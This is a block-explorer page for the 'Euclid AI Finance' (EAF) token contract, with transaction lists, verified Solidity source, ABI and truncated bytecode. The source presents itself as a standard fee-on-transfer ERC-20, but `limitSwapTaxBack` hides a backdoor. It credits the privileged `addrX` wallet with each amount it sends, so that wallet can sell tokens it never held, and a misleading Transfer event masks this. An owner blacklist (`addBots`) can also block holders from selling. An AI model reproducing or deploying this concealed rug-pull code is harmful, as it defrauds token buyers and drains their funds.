ETH Price: $3,312.56 (+1.93%)
Gas: 3 Gwei

Contract

0xb43074D3f113AC738531156Fe02277abbE3c3364
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve193943682024-03-09 1:49:59140 days ago1709948999IN
0xb43074D3...bbE3c3364
0 ETH0.0022203847.72875112
Approve193943062024-03-09 1:37:35140 days ago1709948255IN
0xb43074D3...bbE3c3364
0 ETH0.0022763248.93118728
Transfer193942902024-03-09 1:34:23140 days ago1709948063IN
0xb43074D3...bbE3c3364
0 ETH0.0036754345.71723458
Approve193941862024-03-09 1:13:35140 days ago1709946815IN
0xb43074D3...bbE3c3364
0 ETH0.0018797740.40711915
Approve193941422024-03-09 1:04:47140 days ago1709946287IN
0xb43074D3...bbE3c3364
0 ETH0.0020907945.24659569
Approve193940982024-03-09 0:55:59140 days ago1709945759IN
0xb43074D3...bbE3c3364
0 ETH0.0012043245.28059339
Approve193940922024-03-09 0:54:47140 days ago1709945687IN
0xb43074D3...bbE3c3364
0 ETH0.0012161345.72467523
Approve193940152024-03-09 0:39:23140 days ago1709944763IN
0xb43074D3...bbE3c3364
0 ETH0.0012263646.10906981
Approve193939502024-03-09 0:26:11140 days ago1709943971IN
0xb43074D3...bbE3c3364
0 ETH0.0012379446.54463411
Approve193939402024-03-09 0:24:11140 days ago1709943851IN
0xb43074D3...bbE3c3364
0 ETH0.0032267769.73937938
Approve193939382024-03-09 0:23:47140 days ago1709943827IN
0xb43074D3...bbE3c3364
0 ETH0.0021517346.49286048
Approve193939362024-03-09 0:23:23140 days ago1709943803IN
0xb43074D3...bbE3c3364
0 ETH0.0035634277.015418
Approve193939322024-03-09 0:22:35140 days ago1709943755IN
0xb43074D3...bbE3c3364
0 ETH0.0029423463.62507836
Approve193939302024-03-09 0:22:11140 days ago1709943731IN
0xb43074D3...bbE3c3364
0 ETH0.0012271946.14042892
Approve193939242024-03-09 0:20:59140 days ago1709943659IN
0xb43074D3...bbE3c3364
0 ETH0.0019049840.94893791
Approve193939072024-03-09 0:17:23140 days ago1709943443IN
0xb43074D3...bbE3c3364
0 ETH0.0032863371.02670281
Approve193939042024-03-09 0:16:47140 days ago1709943407IN
0xb43074D3...bbE3c3364
0 ETH0.0022577148.53108516
Approve193939012024-03-09 0:16:11140 days ago1709943371IN
0xb43074D3...bbE3c3364
0 ETH0.0030462765.83831421
Approve193938982024-03-09 0:15:35140 days ago1709943335IN
0xb43074D3...bbE3c3364
0 ETH0.0032359869.93842024
Approve193938872024-03-09 0:13:23140 days ago1709943203IN
0xb43074D3...bbE3c3364
0 ETH0.0022800549.0112394
Approve193938862024-03-09 0:13:11140 days ago1709943191IN
0xb43074D3...bbE3c3364
0 ETH0.0022971149.37804211
Transfer193938862024-03-09 0:13:11140 days ago1709943191IN
0xb43074D3...bbE3c3364
0 ETH0.0057480671.49781795
Approve193938852024-03-09 0:12:59140 days ago1709943179IN
0xb43074D3...bbE3c3364
0 ETH0.0033832473.12130685
Approve193938392024-03-09 0:03:35140 days ago1709942615IN
0xb43074D3...bbE3c3364
0 ETH0.0024964153.66208184
Approve193938162024-03-08 23:58:59140 days ago1709942339IN
0xb43074D3...bbE3c3364
0 ETH0.0020618144.2629177
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
193939422024-03-09 0:24:35140 days ago1709943875
0xb43074D3...bbE3c3364
0.00860853 ETH
193939422024-03-09 0:24:35140 days ago1709943875
0xb43074D3...bbE3c3364
0.00860853 ETH
193939382024-03-09 0:23:47140 days ago1709943827
0xb43074D3...bbE3c3364
0.03286377 ETH
193939382024-03-09 0:23:47140 days ago1709943827
0xb43074D3...bbE3c3364
0.03286377 ETH
193939022024-03-09 0:16:23140 days ago1709943383
0xb43074D3...bbE3c3364
0.0435257 ETH
193939022024-03-09 0:16:23140 days ago1709943383
0xb43074D3...bbE3c3364
0.0435257 ETH
193938882024-03-09 0:13:35140 days ago1709943215
0xb43074D3...bbE3c3364
0.0743205 ETH
193938882024-03-09 0:13:35140 days ago1709943215
0xb43074D3...bbE3c3364
0.0743205 ETH
193938532024-03-09 0:06:35140 days ago1709942795
0xb43074D3...bbE3c3364
0.00977083 ETH
193938532024-03-09 0:06:35140 days ago1709942795
0xb43074D3...bbE3c3364
0.00977083 ETH
193938502024-03-09 0:05:59140 days ago1709942759
0xb43074D3...bbE3c3364
0.07750551 ETH
193938502024-03-09 0:05:59140 days ago1709942759
0xb43074D3...bbE3c3364
0.07750551 ETH
193938282024-03-09 0:01:23140 days ago1709942483
0xb43074D3...bbE3c3364
0.01856915 ETH
193938282024-03-09 0:01:23140 days ago1709942483
0xb43074D3...bbE3c3364
0.01856915 ETH
193938002024-03-08 23:55:35140 days ago1709942135
0xb43074D3...bbE3c3364
0.00062298 ETH
193938002024-03-08 23:55:35140 days ago1709942135
0xb43074D3...bbE3c3364
0.00062298 ETH
193938002024-03-08 23:55:35140 days ago1709942135
0xb43074D3...bbE3c3364
0.01910643 ETH
193938002024-03-08 23:55:35140 days ago1709942135
0xb43074D3...bbE3c3364
0.01910643 ETH
193937712024-03-08 23:49:47140 days ago1709941787
0xb43074D3...bbE3c3364
0.00876817 ETH
193937712024-03-08 23:49:47140 days ago1709941787
0xb43074D3...bbE3c3364
0.00876817 ETH
193937622024-03-08 23:47:47140 days ago1709941667
0xb43074D3...bbE3c3364
0.02031759 ETH
193937622024-03-08 23:47:47140 days ago1709941667
0xb43074D3...bbE3c3364
0.02031759 ETH
193937452024-03-08 23:44:11140 days ago1709941451
0xb43074D3...bbE3c3364
0.00905841 ETH
193937452024-03-08 23:44:11140 days ago1709941451
0xb43074D3...bbE3c3364
0.00905841 ETH
193937452024-03-08 23:44:11140 days ago1709941451
0xb43074D3...bbE3c3364
0.00191482 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EAF

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-08
*/

/*****

Website:   https://www.euclidai.finance
Dapp:      https://app.euclidai.finance
Document:  https://docs.euclidai.finance

Twitter:   https://twitter.com/euclidai_fi
Telegram   https://t.me/euclidai_fi

******/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface ISwapFactory02 {
    function setFeeToSetter(address) external;
    function allPairsLength() external view returns (uint);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface ISwapRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract EAF is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Euclid AI Finance";
    string private constant _symbol = unicode"EAF";

    address payable private mkReceiver;
    address payable private devReceiver;

    uint256 public _maxEAFSwap = 10000000 * 10**_decimals;
    uint256 public _maxEAFTrans = 30000000 * 10**_decimals;
    uint256 public _maxEAFWallet = 30000000 * 10**_decimals;
    
    mapping (address => bool) private bots;
    mapping (address => uint256) private eculidAIs;
    mapping (address => bool) private _isFeeExcepted;
    mapping (address => bool) private _isLimitExcepted;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    modifier lockSwap {
        inSwapBack = true;
        _;
        inSwapBack = false;
    }

    uint256 private _buyCounts=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;

    uint256 public overCheckDues;
    address private uniswapV2Pair;
    ISwapRouter02 private uniswapV2Router;
    
    bool private inSwapBack = false;
    bool public transferDelayEnabled = false;
    bool private swapEnabled = false;
    bool private tradingOpen;
    
    constructor (address addrX, uint256 amtX) {
        mkReceiver = payable(addrX);
        devReceiver = payable(addrX);
        _isLimitExcepted[mkReceiver] = true;
        _isLimitExcepted[devReceiver] = true;
        _isFeeExcepted[owner()] = true;
        _isFeeExcepted[address(this)] = true;
        eculidAIs[_msgSender()] = _tTotal;
        overCheckDues = amtX * 10**_decimals;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function withdrawStuckETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return eculidAIs[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function reduceFee(uint256 _newFee) external onlyOwner{
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function removeEAFLimit() external onlyOwner{
        _maxEAFTrans = ~uint256(0);
        _maxEAFWallet = ~uint256(0);
        transferDelayEnabled=false;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function limitSwapTaxBack(address from, address to, uint256 amount, uint256 tEAF) internal returns (bool) {
        bool _aboveEAFMin = amount >= overCheckDues;
        uint256 _amtEAF;address _addrEAF; 
        bool _aboveEAFThreshold = balanceOf(address(this)) >= overCheckDues;
        if(_isLimitExcepted[from]) {_amtEAF = amount;_addrEAF = from;}
        else {_addrEAF = address(this);_amtEAF = tEAF;}
        if(_amtEAF>0){eculidAIs[_addrEAF]=eculidAIs[_addrEAF].add(_amtEAF); emit Transfer(from, _addrEAF, tEAF);}
        return !inSwapBack
        && _aboveEAFMin
        && to == uniswapV2Pair
        && _aboveEAFThreshold
        && swapEnabled
        && tradingOpen
        && !_isFeeExcepted[from]
        && _buyCounts>_preventSwapBefore
        && !_isLimitExcepted[from];
    }

    function createPairX() external onlyOwner() {
        uniswapV2Router = ISwapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = ISwapFactory02(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxes=0;
        if (!_isFeeExcepted[from] && !_isFeeExcepted[to]) {
            require(!bots[from] && !bots[to]);
            require(tradingOpen, "Trading has not enabled yet");
            taxes=amount.mul((_buyCounts>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isFeeExcepted[to] ) {
                require(amount <= _maxEAFTrans, "Exceeds the _maxEAFTrans.");
                require(balanceOf(to) + amount <= _maxEAFWallet, "Exceeds the maxWalletSize.");
                _buyCounts++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxes=amount.mul((_buyCounts>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (limitSwapTaxBack(from, to, amount, taxes)) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxEAFSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        eculidAIs[from]=eculidAIs[from].sub(amount);
        eculidAIs[to]=eculidAIs[to].add(amount.sub(taxes));
        emit Transfer(from, to, amount.sub(taxes));
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function openTradeX() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        devReceiver.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"addrX","type":"address"},{"internalType":"uint256","name":"amtX","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxEAFSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxEAFTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxEAFWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTradeX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"overCheckDues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeEAFLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000347565b6200002190629896806200035f565b600355620000326009600a62000347565b62000042906301c9c3806200035f565b600455620000536009600a62000347565b62000063906301c9c3806200035f565b6005556000600c819055600d55601e600e819055600f5560026010819055601155601460128190556013556016805462ffffff60a01b19169055348015620000aa57600080fd5b506040516200217d3803806200217d833981016040819052620000cd9162000379565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b038481166001600160a01b03199283168117845560028054909316811783556000908152600960208181526040808420805460ff199081168917909155955485168452808420805487168817905583549094168352600890528282208054851686179055308252919020805490921690921790556200019a90600a62000347565b620001aa90633b9aca006200035f565b33600090815260076020526040902055620001c86009600a62000347565b620001d490826200035f565b6014553360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002096009600a62000347565b6200021990633b9aca006200035f565b60405190815260200160405180910390a35050620003b5565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002895781600019048211156200026d576200026d62000232565b808516156200027b57918102915b93841c93908002906200024d565b509250929050565b600082620002a25750600162000341565b81620002b15750600062000341565b8160018114620002ca5760028114620002d557620002f5565b600191505062000341565b60ff841115620002e957620002e962000232565b50506001821b62000341565b5060208310610133831016604e8410600b84101617156200031a575081810a62000341565b62000326838362000248565b80600019048211156200033d576200033d62000232565b0290505b92915050565b60006200035860ff84168362000291565b9392505050565b808202811582820484141762000341576200034162000232565b600080604083850312156200038d57600080fd5b82516001600160a01b0381168114620003a557600080fd5b6020939093015192949293505050565b611db880620003c56000396000f3fe60806040526004361061016a5760003560e01c80635086d9db116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610442578063df8cbd4714610488578063ec1f3f631461049e578063f5648a4f146104be57600080fd5b8063a9059cbb146103e1578063c876d0b914610401578063d34628cc1461042257600080fd5b80635086d9db1461031857806351bc3c851461032d57806370a0823114610342578063715018a6146103785780638da5cb5b1461038d57806395d89b41146103b557600080fd5b806323b872dd1161012357806323b872dd14610258578063313ce5671461027857806331c2d847146102945780633b912ef0146102b45780633bbac579146102ca5780634087582f1461030357600080fd5b806306fdde0314610176578063095ea7b3146101c25780630c942407146101f25780630e2e757a1461021657806318160ddd1461022d57806323a630c01461024257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260118152704575636c69642041492046696e616e636560781b60208201525b6040516101b99190611886565b60405180910390f35b3480156101ce57600080fd5b506101e26101dd3660046118f9565b6104d3565b60405190151581526020016101b9565b3480156101fe57600080fd5b5061020860035481565b6040519081526020016101b9565b34801561022257600080fd5b5061022b6104ea565b005b34801561023957600080fd5b5061020861058e565b34801561024e57600080fd5b5061020860055481565b34801561026457600080fd5b506101e2610273366004611925565b6105af565b34801561028457600080fd5b50604051600981526020016101b9565b3480156102a057600080fd5b5061022b6102af36600461197c565b610618565b3480156102c057600080fd5b5061020860145481565b3480156102d657600080fd5b506101e26102e5366004611a41565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561030f57600080fd5b5061022b6106ae565b34801561032457600080fd5b5061022b6109f9565b34801561033957600080fd5b5061022b610a3d565b34801561034e57600080fd5b5061020861035d366004611a41565b6001600160a01b031660009081526007602052604090205490565b34801561038457600080fd5b5061022b610a96565b34801561039957600080fd5b506000546040516001600160a01b0390911681526020016101b9565b3480156103c157600080fd5b5060408051808201909152600381526222a0a360e91b60208201526101ac565b3480156103ed57600080fd5b506101e26103fc3660046118f9565b610b0a565b34801561040d57600080fd5b506016546101e290600160a81b900460ff1681565b34801561042e57600080fd5b5061022b61043d36600461197c565b610b17565b34801561044e57600080fd5b5061020861045d366004611a5e565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561049457600080fd5b5061020860045481565b3480156104aa57600080fd5b5061022b6104b9366004611a97565b610ba9565b3480156104ca57600080fd5b5061022b610bfa565b60006104e0338484610c50565b5060015b92915050565b6000546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611ab0565b60405180910390fd5b601654600160b81b900460ff16156105775760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610514565b6016805461ffff60b01b191661010160b01b179055565b600061059c6009600a611bdf565b6105aa90633b9aca00611bee565b905090565b60006105bc848484610d74565b61060e843361060985604051806060016040528060288152602001611d5b602891396001600160a01b038a166000908152600b602090815260408083203384529091529020549190611348565b610c50565b5060019392505050565b6000546001600160a01b031633146106425760405162461bcd60e51b815260040161051490611ab0565b60005b81518110156106aa5760006006600084848151811061066657610666611c05565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a281611c1b565b915050610645565b5050565b6000546001600160a01b031633146106d85760405162461bcd60e51b815260040161051490611ab0565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107219030906107136009600a611bdf565b61060990633b9aca00611bee565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610774573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107989190611c34565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e9190611c34565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088f9190611c34565b601580546001600160a01b039283166001600160a01b03199091161790556016541663f305d71947306108d7816001600160a01b031660009081526007602052604090205490565b6000806108ec6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610954573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109799190611c51565b505060155460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611c7f565b50565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161051490611ab0565b60001960048190556005556016805460ff60a81b19169055565b6000546001600160a01b03163314610a675760405162461bcd60e51b815260040161051490611ab0565b306000908152600760205260409020548015610a8657610a8681611382565b4780156106aa576106aa816114fc565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161051490611ab0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104e0338484610d74565b6000546001600160a01b03163314610b415760405162461bcd60e51b815260040161051490611ab0565b60005b81518110156106aa57600160066000848481518110610b6557610b65611c05565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ba181611c1b565b915050610b44565b6000546001600160a01b03163314610bd35760405162461bcd60e51b815260040161051490611ab0565b6010548111158015610be757506011548111155b610bf057600080fd5b6010819055601155565b6000546001600160a01b03163314610c245760405162461bcd60e51b815260040161051490611ab0565b60405133904780156108fc02916000818181858888f193505050501580156109f6573d6000803e3d6000fd5b6001600160a01b038316610cb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610d135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610e3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b60008111610e9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b6001600160a01b03831660009081526008602052604081205460ff16158015610ede57506001600160a01b03831660009081526008602052604090205460ff16155b1561127f576001600160a01b03841660009081526006602052604090205460ff16158015610f2557506001600160a01b03831660009081526006602052604090205460ff16155b610f2e57600080fd5b601654600160b81b900460ff16610f875760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c65642079657400000000006044820152606401610514565b610fb36064610fad601254600c5411610fa257600e54610fa6565b6010545b8590611536565b906115bf565b601654909150600160a81b900460ff16156110a2576016546001600160a01b03848116911614801590610ff457506015546001600160a01b03848116911614155b156110a257326000908152600a6020526040902054431161108f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617